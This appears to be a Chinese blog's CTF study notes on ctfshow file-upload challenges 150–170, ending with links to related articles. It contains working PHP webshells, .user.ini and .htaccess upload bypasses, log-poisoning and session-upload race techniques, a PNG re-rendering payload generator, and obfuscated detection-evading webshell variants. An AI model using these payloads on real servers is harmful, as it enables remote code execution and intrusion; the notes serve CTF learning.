文件上传

还是是一边学习一边做笔记的文章,由于是学习,所以会显得啰嗦

还请各位师傅担待~

如果有不正确的地方,请师傅们斧正谢谢师傅们

web150

火狐关闭js的插件一旦开启,就没法点击上传按钮了。

而且这里没法上传.php .jpg等后缀文件,只能选择png格式图片。所以只能以够抓包然后修改内容的方式上传图片马。

同时,一旦图片格式满足,就自动上传了。

打开burp开启,然后上传一张png格式图片,在burp抓的包中添加一句话木马<?php eval($_POST['cmd']);?>,修改图片后缀为.php上传

访问对应网页即可

web151

同web150

web152

首先尝试上传php后缀文件,发现不行。所以上传.user.ini配置文件,因为是nginx系统,所以配置文件是.user.ini.htaccess和.user.ini配置文件妙用

同样,上传png文件,burp抓包修改文件信息(将信息传入repeater之后可以反复修改,反复提交),文件名修改为.user.ini,内容添加auto_prepend_file=meima.png。再上传一个名为meima.png的图片马即可

最后访问/url/upload/index.php,用cmd=system('tac /var/www/html/f*');输入命令获取flag就好

web 154

同样,先上传.user.ini,内容auto_prepend_file=meima.png,接着上传名为meima.png的图片马。

就可以利用上一关的repeater中的数据包,将host给修改一下就可以。

.user.ini

auto_prepend_file=meima.png

同时,图片马:

meima.png

<?= eval($_POST['cmd']);?>

同样,在火狐中,将host给修改一下,继续执行即可,命令都不需要改

web 155

嫖web154,操作完全一致

web 156

为啥我上传没有马的png也不行呢?哦,原来是文件内容太长了。

整一个短一点的马儿或者是将抓到的包的信息给改少一点。

过滤了[],用{}进行绕过

因为之前上传过一次

<? `tac /var/www/html/f*`;?>	也可能是没有加echo,这个有点不太清楚

但是显示结果却是:no thing here ,所以这里打算复盘一下,用webshell,写一个php文件进去测试;最后用蚁剑连接之后发现,创建了文件,但是文件中没有内容

最后可以直接用蚁剑写入文件,

所以说,在``之前是需要加上echo 的;

``相当于是shell_exec()函数

同样,也可以直接从burp中修改命令,然后反复上传以达到目的,原来的文件会被替换掉

web 157

额,看样子貌似是过滤了,可以上传拿到flag

<? echo `tac /var/www/html/f*`?>

PHP最后一句可以不用加;,貌似只是针对这种逻辑简单的可以不加,一些逻辑比较复杂的代码最后还是是需要加的

web 158

用157的方法,直接拿下

web 159

貌似过滤了system或者()

用157的方法,直接拿下

web 160

这个题过滤了空格 ()

额,还记得文件包含的web82不,那个上传session文件的解题方式,这题也用那个方式

一共要准备四个包;

一个上传.user.ini文件上传包,一个1.png文件上传包;一个url/upload/index.php反复请求包,一个session反复上传包;

接着条件竞争,

一个burp一直请求/url/upload/index.php

另一边,一直上传文件

访问/url/test1.php,如果有页面就成功,没有就失败,重来一次就行

拿到flag

Firebasky师傅的wp中提到,auto_prepend_file的配置相当于文件包含。

web 161

有文件头的一个判断,选择GIF89a的文件头,比较方便记忆与绕过

顺带看一下,图片有没有被修改,发现,(我们的图安然无恙!)

在文件头前面加上GIF89a,然后就可以白嫖web160的方法了

方法二:日志包含

在user-agent中加入一句话木马,然后在图片中加入引入日志文件的代码

在配置文件.user.ini中,将auto_prepend_file设置为:1.png

接着访问url/upload/index.php,那么就会执行1.png的代码,由于1.png引入日志文件,那么日志文件中的一句话木马就会被执行

突然想问一句,既然auto_prepend_file能进行文件包含,那么是不是可以直接从auto_prepend_file入手日志文件呢?不行

web 162

过滤了.,但是发现,可以直接上传,可以白嫖上面的方法,上传文件1的时候,文件内容一定要少

web 163

发现一个以前没有注意过的点:

如果是用数字来作为post数组的键时,不能够用引号括起来,不然利用session写入木马时会无法写入

所以所以这里就卡了很久,但是依旧没有上传请求成功

web 164(png图片二次渲染)

这个题怎么说呢,没有发现有一个download.php文件,所以也就不知道怎么去做。

所以我这里也就直接照搬做出来的大佬的笔记了

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
} imagepng($img,'1.png'); #保存在本地的图片马
?>

上传图片成功之后,访问url/download.php?iamge=xxxx&0=system post传入:1=cat flag.php

就可以得到flag

web 165

jpg图片渲染用164脚本依旧可行,只是我这里一直上传不了

web 166

上传zip文件,在zip文件中写入一句话,通过download.php进行下载,然后rce

由于下载时是GET方式,所以之类马儿里也用的get方式

这里注意到download.php,就顺带看了一下,因为最之前不知道如何通过download.php进行文件包含的,哦~原来里面有一个include($file)

web 167

看到httpd,想到是不是Apache。于是F12通过network查看,

上传.htaccess,这题需要上传jpg格式的马儿,同时写入

AddType application/x-httpd-php .jpg

?为什么我开的题目环境一直出问题???

不过按理来说,访问/url/upload/1.jpg即可;

原来是配置文件解析错误,上传的配置文件中,只写一句和解析有关的就够了,多余的删除,否则会有500的错误

大佬的wp

web 168

可以直接上传.php文件

查看flag,反引号是shell_exec()函数的简写;需要用echo来进行输出

看了羽师傅博客,又l了解到了很多:

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

web 169

直接将<过滤了,所以也没有办法执行PHP代码,于是这题考虑日志包含

同时,上传时,需要burp抓包上传,上传zip文件,并且将file_content修改为image/png才能成功上传

在user-agent中写入一句话木马,<?php eval($_POST['cmd']);?>

上传一个.user.ini文件,auto_prepend_file=/var/log/nginx/access.log

上传一个1.php文件,内容随便写123,因为url/upload/目录下没有文件,所以需要写一个文件来承接.user.ini

接着就可以访问/url/upload/1.php,然后rce

也可以用蚁剑连接,方便找flag。

web 170

同上

解题

上传配置文件,然后传马

马儿内容

短标签马儿:
一般的马儿:
<?php eval($_POST['cmd']);?>
没有PHP的马儿
<?= eval($_POST['cmd']);?>
<? eval($_POST['cmd']);?>
<% eval($_POST['cmd']);%>
有PHP的马儿
<script language="php"></script> 特殊马儿:
过滤[]:用{}代替
<?= eval($_POST['cmd']);?> 直接拿flag的变形马儿
<? echo `tac /var/www/html/f*`;?>
<? echo `tac /var/www/html/f*`?> 免杀马儿:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?> <?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?> <?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?> <?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

上传配置文件,上传sessionid的马儿

.user.ini文件中写入auto_prepend_file=1.png

1.png中写入<?include"/tmp/sess_test"?>,此处sess_test中的test是PHPSESSIDd的值

uplaod_session.php

<html>
<body>
<form action="http://fece0c1e-a60a-49b8-afde-a015f784c864.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php file_put_contents('/var/www/html/test1.php','<?php eval($_POST[1]);?>')?>">
<input type="file" name="file">
<input type="submit" value="submit">
</form>
</body>
</html>
此处代码,抓包后在cookie位置添加:PHPSESSID=test

格式

GIF89a

注意:

发现一个以前没有注意过的点:

如果是用数字来作为post数组的键时,不能够用引号括起来,不然利用session写入木马时会无法写入

谢谢师傅们观看~

ctfshow_web入门 文件上传的更多相关文章

  1. JSP入门 文件上传

    commons-fileupload public void save(HttpServletRequest request,HttpServletResponse response) throws ...

  2. Spring Boot入门——文件上传与下载

    1.在pom.xml文件中添加依赖 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="ht ...

  3. Flask入门文件上传flask-uploads(八)

    1 视图传递多个参数 (1) 普通传参 : 关键字参数传递 return render_template('模板名称.html',arg1=val1,arg2=val2...) (2) 字典传参 : ...

  4. SpringBoot 文件上传、下载、设置大小

    本文使用SpringBoot的版本为2.0.3.RELEASE 1.上传单个文件 ①html对应的提交表单 <form action="uploadFile" method= ...

  5. springboot文件上传下载,转载的

    Spring Boot入门——文件上传与下载 原文来自:https://www.cnblogs.com/studyDetail/articles/7003253.html 1.在pom.xml文件中添 ...

  6. [转]ExtJs入门之filefield:文件上传的配置+结合Ajax完美实现文件上传的asp.net示例

    原文地址:http://www.stepday.com/topic/?459 作文一个ExtJs的入门汉子,学习起来的确是比较费劲的事情,不过如今在这样一个网络资源如此丰富的时代,依然不是那么难了的. ...

  7. 文件上传利器SWFUpload入门简易教程

    凡做过网站开发的都应该知道表单file的确鸡肋. Ajax解决了不刷新页面提交表单,但是却没有解决文件上传不刷新页面,当然也有其它技术让不刷新页面而提交文件,该技术主要是利用隐藏的iFrame, 较A ...

  8. Web---演示Servlet的相关类、表单多参数接收、文件上传简单入门

    说明: Servlet的其他相关类: ServletConfig – 代表Servlet的初始化配置参数. ServletContext – 代表整个Web项目. ServletRequest – 代 ...

  9. SpringBoot入门一:基础知识(环境搭建、注解说明、创建对象方法、注入方式、集成jsp/Thymeleaf、logback日志、全局热部署、文件上传/下载、拦截器、自动配置原理等)

    SpringBoot设计目的是用来简化Spring应用的初始搭建以及开发过程.该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置.通过这种方式,SpringBoot致力于在蓬勃发 ...

  10. Struts2入门(七)——Struts2的文件上传和下载

    一.前言 在之前的随笔之中,我们已经了解Java通过上传组件来实现上传和下载,这次我们来了解Struts2的上传和下载. 注意:文件上传时,我们需要将表单提交方式设置为"POST" ...

随机推荐

  1. MySQL数据库:6、约束的概述及语法

    Python基础之MySQL数据库 目录 Python基础之MySQL数据库 一.约束概述 1.为什么要约束 2.什么是约束 3.约束的分类 4.查看当前表已有的约束 二.约束语法及用法 1.无符号 ...

  2. mongorestore target dump invalid CreateFile dump The system cannot find

    问题 使用 mongorestore 指定 dump 文件夹,恢复数据报错. mongorestore target 'dump' invalid: CreateFile dump: The syst ...

  3. 修改Listen 1源码的一点心得

    注:本文只作为技术交流 首先感谢听1的作者写出这么强大的音乐播放器!! 软件首页地址:点击打开链接 软件的github上上上地址:点击打开链接 软件唯一让我美中不足的就是不能下载,这可能是作者考虑到了 ...

  4. 【每日一题】【哈希表,返回结果的下标】2022年1月18日-NC61 两数之和

    描述给出一个整型数组 numbers 和一个目标值 target,请在数组中找出两个加起来等于目标值的数的下标,返回的下标按升序排列.(注:返回的数组下标从1开始算起) 算法: import java ...

  5. layui table 表头抖动

    原本table超出页面宽度(即table有横向滚动条)的情况下,缩放页面然后再设置定时器定时更新表单,会发现数据不变的时候table头部会左右抖动 而且th td比设置的minWidth 或者cell ...

  6. mooc上的简单题,(疑惑已解决)

    如题,在简单不过的题,在自己编译器上试了很多例子,输出结果都对.但是oj不给过:(已解决) 统计指定单词出现的次数(10分) 题目内容:输入6个单词,查找第6个单词在前5个单词中出现的次数. 输入:6 ...

  7. 回溯法求解n皇后问题(复习)

    回溯法 回溯法是最常用的解题方法,有"通用的解题法"之称.当要解决的问题有若干可行解时,则可以在包含问题所有解的空间树中,按深度优先的策略,从根节点出发搜索解空间树.算法搜索至解空 ...

  8. .NET周报【12月第2期 2022-12-15】

    国内文章 九哥聊Kestrel网络编程第一章:开发一个Redis服务器 https://mp.weixin.qq.com/s/HJYnBE-7wbvkAYHxQaq3eQ 我和拥有多个.NET 千星开 ...

  9. 正则提取器和beanshell处理器组合,将提取的所有id拼接成字符串

    1.添加正则表达式,提取所有id值 2.添加beanshell处理器将所有的id值拼接成字符串 方法一: int N = Integer.parseInt(vars.get("build_m ...

  10. Redis的数据复制

    介绍 Redis 的复制 Redis 的复制功能分为同步(sync)和命令传播(command propagate)这两个操作 同步操作用于,将从服务器的数据库状态更新至主服务器当前所处的数据库状态: ...